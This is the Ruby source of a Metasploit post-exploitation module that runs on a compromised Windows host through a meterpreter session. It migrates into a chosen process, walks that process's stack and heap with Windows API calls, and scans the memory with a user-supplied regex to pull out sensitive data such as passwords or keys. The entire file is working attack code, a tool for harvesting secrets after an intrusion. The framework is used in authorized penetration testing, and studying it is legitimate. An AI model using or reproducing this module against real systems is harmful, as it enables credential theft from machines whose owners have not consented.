## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Post def initialize(info={}) super( update_info(info, 'Name' => 'Windows Gather Process Memory Grep', 'Description' => %q{ This module allows for searching the memory space of a proccess for potentially sensitive data. Please note: This module will have to migrate to the process you are grepping, and will not migrate back automatically. This means that if the user terminates the application after using this module, you may lose your session. }, 'License' => MSF_LICENSE, 'Author' => ['bannedit'], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter' ] )) register_options([ OptString.new('PROCESS', [true, 'Name of the process to dump memory from', nil]), OptRegexp.new('REGEX', [true, 'Regular expression to search for with in memory', nil]) ], self.class) end def dump_data(target_pid) # we need to be inside the process to walk the heap using railgun current = client.sys.process.getpid if target_pid != current print_status("Migrating into #{target_pid} to allow for dumping heap data") session.core.migrate(target_pid) end regex = datastore['REGEX'] stack = [] proc = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS) begin threads = proc.thread.each_thread do |tid| thread = proc.thread.open(tid) esp = thread.query_regs['esp'] addr = proc.memory.query(esp) vprint_status("Found Thread TID: #{tid}\tBaseAddress: 0x%08x\t\tRegionSize: %d bytes" % [addr['BaseAddress'], addr['RegionSize']]) data = proc.memory.read(addr['BaseAddress'], addr['RegionSize']) stack << { 'Address' => addr['BaseAddress'], 'Size' => addr['RegionSize'], 'Handle' => thread.handle, 'Data' => data } end rescue end heap = [] railgun = session.railgun heap_cnt = railgun.kernel32.GetProcessHeaps(nil, nil)['return'] dheap = railgun.kernel32.GetProcessHeap()['return'] vprint_status("Default Process Heap: 0x%08x" % dheap) ret = railgun.kernel32.GetProcessHeaps(heap_cnt, heap_cnt * 4) pheaps = ret['ProcessHeaps'] idx = 0 handles = [] while idx != pheaps.length vprint_status("Found Heap: 0x%08x" % pheaps[idx, 4].unpack('V')[0]) handles << pheaps[idx, 4].unpack('V')[0] idx += 4 end print_status("Walking the heap... this could take some time") heap = [] handles.each do |handle| lpentry = "\x00" * 42 ret = '' while (ret = railgun.kernel32.HeapWalk(handle, lpentry)) and ret['return'] entry = ret['lpEntry'][0, 4].unpack('V')[0] pointer = proc.memory.read(entry, 512) size = ret['lpEntry'][4, 4].unpack('V')[0] data = proc.memory.read(entry, (size == 0) ? 1048576 : size) heap << { 'Address' => entry, 'Size' => data.length, 'Handle' => handle, 'Data' => data } if data.length > 0 lpentry = ret['lpEntry'] break if ret['GetLastError'] == 259 or size == 0 end end matches = [] stack.each do |mem| idx = mem['Data'].index(regex) if idx != nil print_status("Match found on stack!") print_line data = mem['Data'][idx, 512] print_line(Rex::Text.to_hex_dump(data)) end end heap.each do |mem| idx = mem['Data'].index(regex) if idx != nil print_status("Match found on heap!") print_line data = mem['Data'][idx, 512] print_line(Rex::Text.to_hex_dump(data)) end end end def run if session.type != "meterpreter" print_error "Only meterpreter sessions are supported by this post module" return end print_status("Running module against #{sysinfo['Computer']}") proc_name = datastore['PROCESS'] # Collect PIDs pids = [] client.sys.process.processes.each do |p| pids << p['pid'] if p['name'] == proc_name end if pids.empty? print_error("No PID found for #{proc_name}") return end print_status("PIDs found for #{proc_name}: #{pids * ', '}") pids.each do |pid| print_status("Searching in process: #{pid.to_s}...") dump_data(pid) print_line end end end